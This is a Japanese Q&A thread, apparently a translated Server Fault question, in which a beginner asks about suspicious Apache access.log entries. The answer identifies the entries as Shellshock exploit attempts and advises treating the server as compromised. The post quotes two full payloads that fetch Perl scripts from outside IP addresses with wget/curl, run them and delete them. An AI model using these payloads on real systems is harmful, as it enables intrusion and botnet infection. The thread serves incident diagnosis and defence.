私はWebプログラミングの初心者なので、練習用にApache2サーバーをセットアップします。
誰かが私のApacheサーバーをハッキングすることに成功したようです。 access.logに次の行があることに気づきました。
_81.169.174.52 - - [22/Jan/2015:17:24:39 +0200] "GET /cgi-bin/contact.cgi HTTP/1.1" 200 1531 "-" "() { :;};/usr/ bin/Perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://202.191.121.230/ou.pl -O /tmp/b.pl;curl -O /tmp/b.pl http://202.191.121.230/ou.pl;Perl /tmp/b.pl;rm -rf /tmp/b.pl*\");'"
_
そしてこれも:
_80.92.84.168 - - [22/Jan/2015:18:21:08 +0200] "GET /phppath/cgi_wrapper HTTP/1.0" 200 3360 "-" "() { :;};/usr/bin/Perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESSX\";system(\"wget http://74.208.166.12/bot.txt -O /tmp/bot.pl;Perl /tmp/bot.pl;rm - rf /tmp/bot.pl\");'"
_
HTTP-200によると、彼らはすでにハッキングに成功しているようで、リクエストが許可されたことを意味します。
リクエスト内のコマンドを「追跡」しようとすると(各コマンドを手動で実行することにより):
system(\"wget http://74.208.166.12/bot.txt -O /tmp/bot.pl;Perl /tmp/bot.pl;rm - rf /tmp/bot.pl\");'"
ファイル「bot.txt」のダウンロードに成功したことがわかります。 'bot.txt'ファイルを開いて、そのPerlスクリプトを見たとき。私はPerlの僧侶ではありませんが、それぞれが他のサーバーへのポートを開こうとする他のプロセスを「フォーク」していることがわかります。また、私のステーションで開いているポートを検索しようとするコード内の関数を見ました。
私の質問:
どうも
攻撃者は Bash Shellshock の脆弱性を悪用しようとしています。別のSFの投稿ですでに取り上げられている、いくつかの簡単なコマンドラインテスト(それ自体は有害ではありません)を使用して、脆弱かどうかを確認できます。
ログには、200個のHTTPステータスコードが返されたことが示されています。これは、Apacheが両方のリクエストをエラーなしで処理したことを示しています。どちらかを持っていたcontact.cgi
またはcgi_wrapper
失敗しました。代わりに、Apacheが500(内部サーバーエラー)ステータスコードを返すことを期待していました。これは、両方のスクリプトが少なくともShellshockエクスプロイトを試みたことを示唆しています。
システムに脆弱なバージョンのBashがあると判断できる場合は、ou.pl
およびbot.pl
スクリプトは実際にダウンロードされ、システムに実行されました。それを考えると、最初の侵入後に何が行われたかを知る方法が実際にはないため、システムの整合性について何も仮定するべきではありません。これをどのように処理するかは、自分で決定する必要がありますが、このSFの質問にはいくつかの良い提案があります。